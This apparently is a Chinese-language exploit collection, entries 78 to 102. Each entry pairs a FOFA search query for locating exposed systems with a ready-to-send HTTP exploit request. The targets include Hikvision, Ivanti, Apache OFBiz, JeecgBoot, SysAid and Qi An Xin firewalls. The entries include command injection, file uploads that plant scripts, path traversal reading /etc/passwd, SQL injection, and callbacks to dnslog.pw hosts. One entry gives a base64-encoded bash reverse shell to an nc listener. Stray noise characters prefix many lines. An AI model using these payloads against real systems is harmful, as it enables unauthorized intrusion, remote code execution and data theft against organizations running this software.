9 |- l, Z' s% `$ q$ G/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
3 r3 e! F( g' T9 e; L2 V. zContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
: c) H9 b4 a6 d( M, ?Content-Type: application/octet-stream
: Z! \; Y, b0 y# i2 K8 H* ~9 [. g
hello1234567
7 Z/ q" k/ B8 _------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
- w3 e) f7 A# r/ @6 {2 B1 ?6 v; e
% y; F$ f  o3 }# c, s! E4 GSubmit Query
( g7 l9 d3 |1 p6 M+ K------------398jnjVTTlDVXHlE7yYnfwBoix--
# _: w/ r! K- B9 G% u

: k; D# v8 j" Z0 P" L; L78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
9 ^" ?) @8 \& A- \FOFA：icon_hash="2001627082"
8 V& `& d& ^/ A, ]5 b9 ~2 @POST /Platform/System/FileUpload.ashx HTTP/1.1
7 k6 x; r# r7 p5 a8 }. M- x' C* tHost: x.x.x.x
% F, {( p. j& C6 O  O. jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 Z* `; x' A$ J% P7 }* F& FConnection: close
Content-Length: 336
9 c; U# ~: t- |6 ]6 S9 D; {! x3 o3 fAccept-Encoding: gzip
- r' t+ _7 n4 Z) z: C0 OContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
( {- R6 C" V9 x: J
4 o* H8 o2 m0 J6 }) t------YsOxWxSvj1KyZow1PTsh98fdu6l
' v' S& z+ t- D& d) U- a4 Y. x8 c- `Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
* Y4 @0 B! a" c3 u) R
YsOxWxSvj1KyZow1PTsh98fdu6l
% \% N4 T; F; {* R5 _! y- M------YsOxWxSvj1KyZow1PTsh98fdu6l
" m2 N4 _) n, N( b/ \Content-Disposition: form-data; name="target"
' @& e5 C* f& Y0 k' [
/Applications/SkillDevelopAndEHS/
2 `; H0 X  s4 q8 M. ^0 e7 Z! V, W: U------YsOxWxSvj1KyZow1PTsh98fdu6l--
- j2 R' _. K; I" u/ H% K

GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
& }1 W% i9 l- h6 S( z) C5 p* JHost: x.x.x.x
) h2 V) H# W7 `& a. i( Y8 `
: Q1 {5 ]( s4 S; D( K
0 X7 z" \8 ^6 p1 j79. BYTEVALUE 百为流控路由器远程命令执行
% _) \- B5 Z4 C8 X  u# mFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
+ g; T# e0 O4 l% hHost:IP
. A3 L* r. b/ ?$ N( P5 Y  }* ]' V# ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, M: l& A: M) e% p9 J6 a- s1 e$ gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
7 X% o2 ]$ K1 n* z# ?- Z, A' |

80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
+ f& J( k+ m" e/ Z2 z3 RFOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
! q; M  I8 D7 w0 V, ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# ?& L# i4 x2 ~' U* d# K0 NContent-Length: 27
8 {2 `" g! ]) S1 H/ M* j, mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
9 B/ r0 i$ {0 OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
3 W5 y6 h6 R. d4 v; cUpgrade-Insecure-Requests: 1
. l  y: o8 U0 K5 a( F1 X4 Q3 {
<% out.print("oessqeonylzaf");%>


GET /xykqmfxpoas.jsp HTTP/1.1
  F1 E. c  L7 [3 ^Host: x.x.x.x
0 P' Q! ~5 K& ~& v! _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* J) `& Y( l; c1 l5 H" `$ j2 D) c  wConnection: close
+ s8 w- G7 D( ]2 l% [2 hAccept-Encoding: gzip

: w( H3 s" l- C2 O1 Y8 [4 J- m; \9 _
. h! \2 i6 E  `: i81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
! ]5 y- w) Z; f! p. }8 VGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
& o& _- X) J% k9 n: _# U- pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 _, D4 e3 f; y: d) s+ YConnection: close
Accept-Encoding: gzip


" q. p$ S! P* u. Q( v82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
) \) D1 d: u3 y0 A, U- EFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
: f+ k2 w6 k) h+ O2 uHost: BaseURL
5 @+ Y/ B! \9 {) T* }6 }User-Agent: Go-http-client/1.1
Content-Length: 23
+ e( P( B6 B  X' j- V, _, ^Accept-Encoding: gzip
Connection: close
: ?' [& n0 @/ }5 z. h5 d, TContent-Type: application/x-www-form-urlencoded
$ Z% w$ T- T3 Y1 R3 HReferer: BaseURL
9 P6 V8 L8 V1 i% |/ f( K
z1=1&z2="|id;"&z3=bhost


6 R9 p. c9 K, w- s3 P83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"


* h) r# L+ e) v2 RPOST /jmreport/testConnection HTTP/1.1
5 v6 r0 v$ U) z' K% uHost: x.x.x.x
! q& s4 a* o* aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 L, D6 x$ m5 d/ J  cConnection: close
Content-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
% Q8 _5 L: Y* ?" f4 V8 i% D/ R
PAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
  ]9 ?' z9 \* I: [( M' Q/ R" N

9 [1 u& g6 a! ^" M9 Y6 w  S
& r2 c8 T, n; @. iPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
, T( I& ^7 a6 Z+ f' I( w3 jHost: 192.168.40.130:8080
: @  w# l& _" M) D1 e. @User-Agent: curl/7.88.1
( i3 m! t) n( O6 [6 R. IContent-Length: 156
2 ]6 x% Q' s" d9 kAccept: */*
7 C" S2 V% S- t9 U+ V$ i$ j  TConnection: close
. |( a  D5 h+ M6 m% ZContent-Type: application/json
; E( v  ]& g" _/ t" {Accept-Encoding: gzip
2 ~6 }: F+ M( l6 R/ S6 P: d
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
* [7 R2 U6 q9 ]1 K# j/ u7 i, E}
" G8 T9 n0 q) R0 D# C
* h; E( x% P# m3 Z% m( ?" ^+ K8 B, m
- m% J5 J6 [1 H85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
8 J' O# |2 Z  V4 u+ E& yFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
3 Z( H* g4 ?; P9 tPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
; h1 D- F7 d# F" L7 nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ i# z. O: U, f6 ?' H# S" u5 c6 xContent-Type: application/octet-stream
+ b" K7 y2 Y- o7 VAccept-Encoding: gzip
4 |- x) V% Y2 }0 Y4 e6 \
9 w7 X. }  |/ @. tPAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
/ x- r$ o8 x) r( w: t
86. 日本tosei自助洗衣机RCE
' k& z* I: R5 F/ z4 uFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
; F3 o( f8 z2 S. kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
  `! F/ p) V/ g# [/ m6 v! \: L( ^Connection: close
- ~" U# I: Y$ g% a" l; c# s8 C; Y" uContent-Length: 44
4 d$ \1 d9 \+ r+ g$ W* u- d9 ?7 Q: oAccept: */*
Accept-Encoding: gzip
1 G( r1 P3 Q- l$ m- b8 eAccept-Language: en
Content-Type: application/x-www-form-urlencoded
; C, b% z6 W8 `
$ x2 n- ^" T' k% bhost=%0acat${IFS}/etc/passwd%0a&command=ping
& }0 g$ }, f! V) b1 I- ^

: O$ ~) w+ M/ U2 l6 F6 [2 n# ]; d0 ~) Z87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
' P: m& g# @& ^4 R" x# W! R8 ]POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
. Z9 Z4 v) w4 h% OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- r# @6 B3 O# t. a% ~: h) eConnection: close
7 c0 h4 ?. Q" `/ l9 X3 `& ]Content-Length: 198
Accept-Encoding: gzip
; C' b. Z5 s) f1 o: QContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
! p1 g% t$ B' N6 V- V2 T
/ j2 i+ [2 R2 ~--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
) [9 a4 |8 M4 A3 e, p' `
: q3 W3 @! C8 h4 e% B8 M2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--


9 x; h7 A7 W. R" @8 f7 ~% x/jfhatuwe.php

& u( t9 o: c3 }6 j( _) B. J9 \. e6 @88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
. u) s- Q  o6 \! h+ I8 z. kFOFA：title="明御安全网关"
, H' z( g0 g( z7 x/ t2 ~GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
" J6 F" j, {, A, Y# X! uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
0 Z- V" @4 E4 n1 Z, U, {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 L3 r2 ~/ l2 X6 O/ eConnection: close
/ u! ]" `7 Q8 F3 }
' |0 C2 r+ W; {% m! i' t
* ]' e  j9 x' R* G+ R4 u4 k5 Y/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
3 d+ u  O3 N3 s  {POST /sysform/003/editflow_manager.js%70 HTTP/1.1
$ k/ n: H7 n+ j8 uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& l# t+ y6 w" W0 O, M1 W+ }Connection: close
% e7 e. a% v; ?4 y6 r) \$ WContent-Length: 41
Content-Type: application/x-www-form-urlencoded
* u* j% [  J8 z2 gAccept-Encoding: gzip
' s7 Q: _  H9 N- _: \2 x
8 Z9 x* @2 V% {' w0 y( l2 Eoption=2&GUID=-1'+union+select+111*222--+


90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
- P( r2 e" z+ m$ U- ~' cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
7 J! `6 y1 }) Y7 _3 g. N; O! SAccept: application/json, text/javascript, */*; q=0.01
1 {$ w% b& c; I) Z* w' LAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
+ p, G9 t) h: y+ }3 Z& J% V4 ~
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

. O' |, Q& j( b4 a' Z1 j! [* ~) q$ D7 n
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
" q4 u# D# P4 P' y- S" C! wGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
3 y3 a/ A9 Q7 e' ~$ e
# s! }1 \4 I8 |  p. y& q& L( H) [

6 S; U- \! _$ p- B# d( K92. 海康威视运行管理中心session命令执行
; }, G$ X1 Y' O, mFastjson命令执行
) _0 Z6 S; F6 O+ Nhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
  C2 s7 j3 v% {& ]  wHost:
' Y& b8 ^. u, ], o# s; gAccept: application/json, text/plain, */*
& X" q6 Z. Y2 J) J# a& ?Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
3 v) ?* v. Q4 U! u; i, UContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
7 ~& `4 g# u* k2 b, A5 x* nAccept-Language: zh-CN,zh;q=0.9
  c; z* {0 I7 h& p! oContent-Length: 5778

, i) r1 k* b' x' oPAYLOAD
* J) }* D5 W6 e; T) ~
7 k% v$ c. p" b) m7 X
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
; [# w( G) Y  g. U6 d' w, q7 nFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
7 w3 C3 U0 ~8 h# QPOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
& s/ e1 G9 l9 IContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
( V0 o' g3 V1 I5 I6 P. b
10000000
------WebKitFormBoundarykcbkgdfx
: Q" w- \. j  aContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
) }8 [4 m3 M  G2 b. r& SContent-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
4 N; `2 n! ~( D' `+ h! \: KContent-Disposition: form-data; name="submit_post"

obj_app_upfile
" q$ O' M7 b( B, b, e. W------WebKitFormBoundarykcbkgdfx
- B8 {" V0 ]/ `0 H$ z9 _Content-Disposition: form-data; name="__hash__"

- I' |- F! U- s0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
0 _+ n# o1 D  W
& |! F2 V$ l, Q, E  c$ h
GET /attachements/xlskxknxa.txt HTTP/1.1
, T4 {0 Y# U1 `/ ]# y9 N' FHost: xx.xx.xx.xx
$ c! @! r0 C/ `% R; \/ h) I) {, ZUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
7 ?5 D( }+ q0 r- k# [' I
3 ?% C" S: S- H) D2 Y
0 h! f/ F* u7 k0 i94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
- J' V. H' o% A3 E) c7 U, s  w) G# a3 ^# |FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
3 w- A+ W/ C* V* NPOST /?g=obj_area_import_save HTTP/1.1
! `' T8 U8 F9 S& |- R3 RHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

, I$ s( u" Q. B+ P1 N------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
: \1 {; L' }4 W* v0 z3 o( n
10000000
------WebKitFormBoundarybqvzqvmt
9 L5 F2 v' h+ Y; I8 A  |0 NContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
2 \# i. I8 ~; s# ~6 Z8 |% Q2 u, UContent-Type: text/plain

1 S6 W8 c' b& c0 ^pxplitttsrjnyoafavcajwkvhxindhmu
7 ]) `3 p$ G) I8 F, \& b7 l* O, }2 }1 U------WebKitFormBoundarybqvzqvmt
2 m1 g+ {; G# n1 d8 A! O+ y% FContent-Disposition: form-data; name="submit_post"
: P" @1 r; x, i
% i% M- `; J9 v. cobj_app_upfile
* F* P6 u. ?- O9 e% R------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--

1 E! F9 I* s, R3 R8 P
. [2 D: _$ v  h# g/ s
) m: n# r/ E& b4 L, m& N1 l/ @GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
5 o( W1 T1 E( U$ v9 @5 G
0 H" i! t) }( m* c0 S

95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
6 F+ Y% O* M- K4 n, k5 j; m% B* MPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
' h1 Z9 @: ~% OHost: x.x.x.x
% K+ O$ Y, \0 A0 @, zUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
" S! o) ~3 B. |! C: O$ B- U' aContent-Length: 889
Content-Type: application/xml
4 w0 L1 E/ h+ KAccept-Encoding: gzip

<?xml version="1.0"?>
; h* |- y2 W  |9 h* ~<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
) G" y8 f' X0 o/ X0 `. l3 ~' p& Y- r    <params>
      <param>
      <value>
& i6 m3 K- |; S        <struct>
       <member>
          <name>test</name>
          <value>
& d- \( |, {1 O; v8 \8 A  Y      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
: Z# M+ W, [$ x% u( v; G          </value>
; T% F! W3 d* x0 [1 P+ y1 l        </member>
2 F4 B7 l* D% M& Q7 c1 l( @      </struct>
      </value>
    </param>
    </params>
4 i. t  g' r1 B% h</methodCall>
8 X+ }, n- ~3 ^9 ~  q7 A
+ f. K8 G7 G$ J% v
  G! ]5 q) f( f% _8 d用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
6 T6 B, I+ q+ ]& V: U

  I" B8 S+ a9 w) w' B( |将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
7 I' {9 P) I/ [; lUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
! Z+ w/ R) p9 k, h0 Q  cConnection: close
Content-Length: 889
3 p; n4 l# k) A  S6 m+ N7 r9 X: P9 jContent-Type: application/xml
: x3 z# s- f0 Z4 k/ RAccept-Encoding: gzip
* l( D  R2 P" Q  l
* j: S/ N" a9 s$ `. rPAYLOAD
# b+ F" n/ H4 [) Q
3 b9 z0 ^$ X7 W9 l. [( o! n8 M! i) p& e96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
+ }# E; ^/ F( P6 ?6 I  ^  OPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
8 l& |% r8 L4 ^' rHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
' M" ^. {' [5 `' `! w7 [/ T: VAccept: */*
8 q% |! }/ u' W% h) g, W$ bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, g9 Z7 j, o6 T$ G( l8 Y. RContent-Type: application/x-www-form-urlencoded
% `- p& J0 F/ \  {4 _7 wContent-Length: 55
  _! w7 c# {+ _1 L
; ]4 O* k8 M6 IgroovyProgram=throw+new+Exception('id'.execute().text);
; {8 @0 C2 B- h2 p5 i5 I

反弹shell
在kali上启动一个监听
nc -lvp 7777
! {6 P0 N) F/ \9 q8 ^+ Q
, o% X1 I; l" dPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( a; E- c6 ?, a8 I8 KAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

' i% b( Q1 u. Z, P: ]$ bgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

% W, d# d' y: _7 ?) }97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
6 n, |) Y: B: a8 z. i7 E3 y+ s$ B- ~FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
9 K! R' f% k  c, z5 Q) wHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ p3 O* I) j3 c/ d# B0 SAccept-Encoding: gzip
+ ?. p0 H/ a: y4 F+ vConnection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

# \$ ]# j6 a. B/ _0 ]; V- M$ o" l& m
98. SpiderFlow爬虫平台远程命令执行
0 x4 U! ?. S3 Z  n3 T/ |& V2 YCVE-2024-0195
FOFA：app="SpiderFlow"
: u9 u( ?1 p5 c* Z: }POST /function/save HTTP/1.1
6 [6 G0 v1 T- Y$ C" O# uHost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
. B7 j1 W" i" X$ WContent-Length: 121
Accept: */*
: u- X' h, ^8 q0 D: P/ hAccept-Encoding: gzip, deflate
- `) Y+ R( e/ x5 TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ d8 n0 n' Y4 d0 LContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
% r" M; ^3 P$ e1 d+ U9 M
: e7 \: l! k$ e: [: ~% sid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
5 K3 R' Q, F: Z: j! _7 R: y

- h  ?2 s( D  K( s* }99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
3 c+ l% c, b+ y9 h( m/ S" x4 M& c2 qContent-Length: 154
Accept: */*
; q7 |' d" {0 h2 \2 l  YAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+ I: a3 m' F/ j% @: S% y" J1 fX-Requested-With: XMLHttpRequest
5 Y# l* P3 Z+ N
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
" F; B6 @6 K) U* v/ q# UFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
/ H9 c" w5 L8 F% J) M2 z( a( F, {Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
) p' {6 E5 ^- I& [1 e; m/ ?& R% ~Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
$ d# _" m, f% j) j3 V( s# b
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

/ Z9 X( f: U  D. u* N" ]* Y1 g2ayyhRXiAsKXL8olvF5s4qqyI2O
6 y  ], U/ i/ q4 n------WebKitFormBoundarygcflwtei--

# |' S1 f6 _6 [: m4 ]0 j
. Q: n, a+ G% s, ^. H  _/ D4 l101. ivanti policy secure-22.6命令注入
$ J9 `) j0 z, ~' [& |( l# XCVE-2024-21887
" o" q7 i/ P2 t  {" l* aFOFA：body="welcome.cgi?p=logo"
$ P5 N6 }+ a, m: eGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
4 U) t! }% D. C. o1 H, C4 r. [5 LUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
* j, W7 f9 \1 f: I, B: j) d! z" v& @Connection: close
$ T# g4 b3 \, U- i0 tAccept-Encoding: gzip


% H. T: G$ S) v0 p; _0 @3 r& o3 Q3 ^+ k102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
" Y4 U, z! n7 n4 BFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
; o/ L! M- ~# g, t, [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip

: p& ]+ c/ U! k( }9 d- f<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 